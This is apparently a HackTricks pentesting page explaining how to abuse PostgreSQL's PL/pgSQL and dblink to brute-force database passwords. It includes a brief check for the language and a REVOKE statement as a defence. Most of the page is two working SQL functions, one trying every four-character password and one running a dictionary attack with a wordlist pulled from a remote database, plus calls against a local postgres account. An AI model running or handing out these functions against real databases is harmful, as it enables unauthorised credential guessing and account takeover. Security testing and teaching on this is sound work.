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# PL/pgSQL Password Bruteforce PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language. You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using: ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql | ``` By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain: ```sql REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; ``` In that case, our previous query would output different results: ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin} ``` Here how you could perform a 4 chars password bruteforce: ```sql //Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` _Note that even brute-forcing 4 characters may take several minutes._ You could also **download a wordlist** and try only those passwords (dictionary attack): ```sql //Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` **Find**[ **more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.**
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**